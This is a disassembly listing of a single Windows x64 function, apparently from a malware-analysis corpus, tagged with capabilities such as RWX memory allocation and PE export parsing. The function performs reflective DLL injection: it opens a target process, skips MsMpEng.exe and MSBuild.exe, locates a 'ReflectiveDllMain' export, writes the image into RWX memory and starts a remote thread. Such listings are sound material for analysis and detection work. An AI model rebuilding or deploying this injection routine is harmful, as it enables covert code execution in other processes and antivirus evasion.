Function at 0x140001868
Capabilities:
Allocate or change rwx memory
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rbx
mov dword [rsp + 0x18], r8d
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x3a0]
sub rsp, 0x4a0
mov rdi, rdx
mov r12d, ecx
mov r8d, ecx
xor edx, edx
mov ecx, 0x1000
xor ebx, ebx
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov r14, rax
test rax, rax
je 0x140001cd1
lea rdx, [rbp + 0x3f8]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_IsWow64Process]
mov r15d, eax
test eax, eax
je 0x1400018d5
cmp dword [rbp + 0x3f8], ebx
mov esi, ebx
sete sil
jmp 0x1400018db
mov esi, dword [rbp + 0x3f8]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test r15d, r15d
je 0x140001cd1
movsxd rax, dword [rdi + 0x3c]
cmp dword [rax + rdi], 0x4550
jne 0x140001cd1
mov edx, 0x10b
mov ecx, 0x20b
mov r13d, 1
cmp word [rax + rdi + 0x18], dx
je 0x140001925
cmp word [rax + rdi + 0x18], cx
jne 0x140001cd1
mov eax, r13d
jmp 0x140001927
mov eax, ebx
cmp esi, eax
jne 0x140001cd1
mov r8d, r12d
xor edx, edx
mov ecx, 0x43a
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov r14, rax
test rax, rax
je 0x140001cd1
mov r8d, r12d
xor edx, edx
mov ecx, 0x410
mov r15d, ebx
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rsi, rax
test rax, rax
je 0x140001a04
mov r9d, 0x104
lea r8, [rbp - 0x80]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_K32GetModuleFileNameExW]
test eax, eax
je 0x1400019b3
lea rcx, [rbp - 0x80]
call qword [sym.imp.SHLWAPI.dll_PathFindFileNameW]
mov rcx, rax
mov r12, rax
call qword [sym.imp.KERNEL32.dll_lstrlenW]
cmp eax, 0x104
ja 0x1400019b3
mov rdx, r12
lea rcx, [rbp + 0x190]
call qword [sym.imp.SHLWAPI.dll_StrCpyW]
mov r15d, r13d
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test r15d, r15d
je 0x140001a04
lea rax, str.MsMpEng.exe
mov esi, ebx
mov qword [rsp + 0x60], rax
lea r15, [rsp + 0x60]
lea rax, str.MSBuild.exe
mov qword [rsp + 0x68], rax
mov rdx, qword [r15]
lea rcx, [rbp + 0x190]
call qword [sym.imp.SHLWAPI.dll_StrCmpIW]
test eax, eax
je 0x140001cc8
add esi, r13d
add r15, 8
cmp esi, 2
jb 0x1400019e0
mov r9d, 4
mov qword [rsp + 0x20], rbx
lea r8, [rsp + 0x70]
mov rcx, r14
lea edx, [r9 + 0x19]
call qword [sym.imp.ntdll.dll_NtQueryInformationProcess]
test eax, eax
js 0x140001cc8
cmp dword [rsp + 0x70], ebx
jne 0x140001cc8
lea r8, [rsp + 0x60]
mov edx, 8
mov rcx, r14
mov r12d, ebx
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x140001cc8
mov rcx, qword [rsp + 0x60]
lea rax, [rbp + 0x3f8]
xor r9d, r9d
mov qword [rsp + 0x20], rax
xor r8d, r8d
lea r15d, [r9 + 0x19]
mov edx, r15d
call qword [sym.imp.ADVAPI32.dll_GetTokenInformation]
test eax, eax
jne 0x140001af4
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x7a
jne 0x140001af4
mov edx, dword [rbp + 0x3f8]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov rsi, rax
test rax, rax
je 0x140001af4
mov r9d, dword [rbp + 0x3f8]
lea rax, [rbp + 0x3f8]
mov rcx, qword [rsp + 0x60]
mov r8, rsi
mov edx, r15d
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_GetTokenInformation]
test eax, eax
je 0x140001ae2
mov rcx, qword [rsi]
call qword [sym.imp.ADVAPI32.dll_GetSidSubAuthorityCount]
mov rcx, qword [rsi]
movzx edx, byte [rax]
sub edx, r13d
call qword [sym.imp.ADVAPI32.dll_GetSidSubAuthority]
mov r12d, r13d
mov r15d, dword [rax]
jmp 0x140001ae9
mov r15d, dword [rbp + 0x3f8]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_LocalFree]
jmp 0x140001afb
mov r15d, dword [rbp + 0x3f8]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test r12d, r12d
je 0x140001cc8
cmp r15d, 0x2000
jb 0x140001cc8
movsxd rax, dword [rdi + 0x3c]
cmp dword [rax + rdi], 0x4550
jne 0x140001cc8
mov ecx, 0x10b
cmp word [rax + rdi + 0x18], cx
je 0x140001b52
mov ecx, 0x20b
cmp word [rax + rdi + 0x18], cx
jne 0x140001cc8
mov edx, dword [rax + rdi + 0x88]
jmp 0x140001b56
mov edx, dword [rax + rdi + 0x78]
mov rcx, rdi
call fcn.1400029a4
mov r13d, eax
mov rcx, rdi
mov edx, dword [rdi + r13 + 0x20]
call fcn.1400029a4
mov edx, dword [rdi + r13 + 0x24]
mov rcx, rdi
mov r15d, eax
add r15, rdi
call fcn.1400029a4
mov esi, eax
mov r12d, ebx
add rsi, rdi
cmp dword [rdi + r13 + 0x18], ebx
jbe 0x140001cc8
mov edx, dword [r15]
mov rcx, rdi
call fcn.1400029a4
mov ecx, eax
lea rdx, str.ReflectiveDllMain
add rcx, rdi
call qword [sym.imp.SHLWAPI.dll_StrStrA]
test rax, rax
jne 0x140001bcd
add r15, 4
add rsi, 2
inc r12d
cmp r12d, dword [rdi + r13 + 0x18]
jb 0x140001b94
jmp 0x140001cc8
mov edx, dword [rdi + r13 + 0x1c]
mov rcx, rdi
call fcn.1400029a4
movzx ecx, word [rsi]
mov edx, eax
add rdx, rdi
mov edx, dword [rdx + rcx*4]
mov rcx, rdi
call fcn.1400029a4
mov r12d, eax
test eax, eax
je 0x140001cc8
mov r15d, dword [rbp + 0x3f0]
mov r9d, 0x3000
mov r8d, r15d
mov dword [rsp + 0x20], 0x40
xor edx, edx
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rsi, rax
test rax, rax
je 0x140001cc8
mov r9d, r15d
mov qword [rsp + 0x20], rbx
mov r8, rdi
mov rdx, rax
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x140001cc8
lea rax, [rsi + r12]
mov qword [rsp + 0x28], rsi
mov r9, r14
mov qword [rsp + 0x20], rax
lea rcx, [rsp + 0x60]
mov qword [rsp + 0x60], rbx
call fcn.140002bfc
test eax, eax
js 0x140001cc8
mov rcx, qword [rsp + 0x60]
test rcx, rcx
je 0x140001cc8
mov edx, 0x64
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
jne 0x140001cbd
mov rcx, qword [rsp + 0x60]
lea rdx, [rbp + 0x3f8]
call qword [sym.imp.KERNEL32.dll_GetExitCodeThread]
test eax, eax
je 0x140001ca2
cmp dword [rbp + 0x3f8], ebx
setne bl
mov r9d, 0x8000
xor r8d, r8d
mov rdx, rsi
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
neg eax
sbb ecx, ecx
and ebx, ecx
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, ebx
mov rbx, qword [rsp + 0x4e0]
add rsp, 0x4a0
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret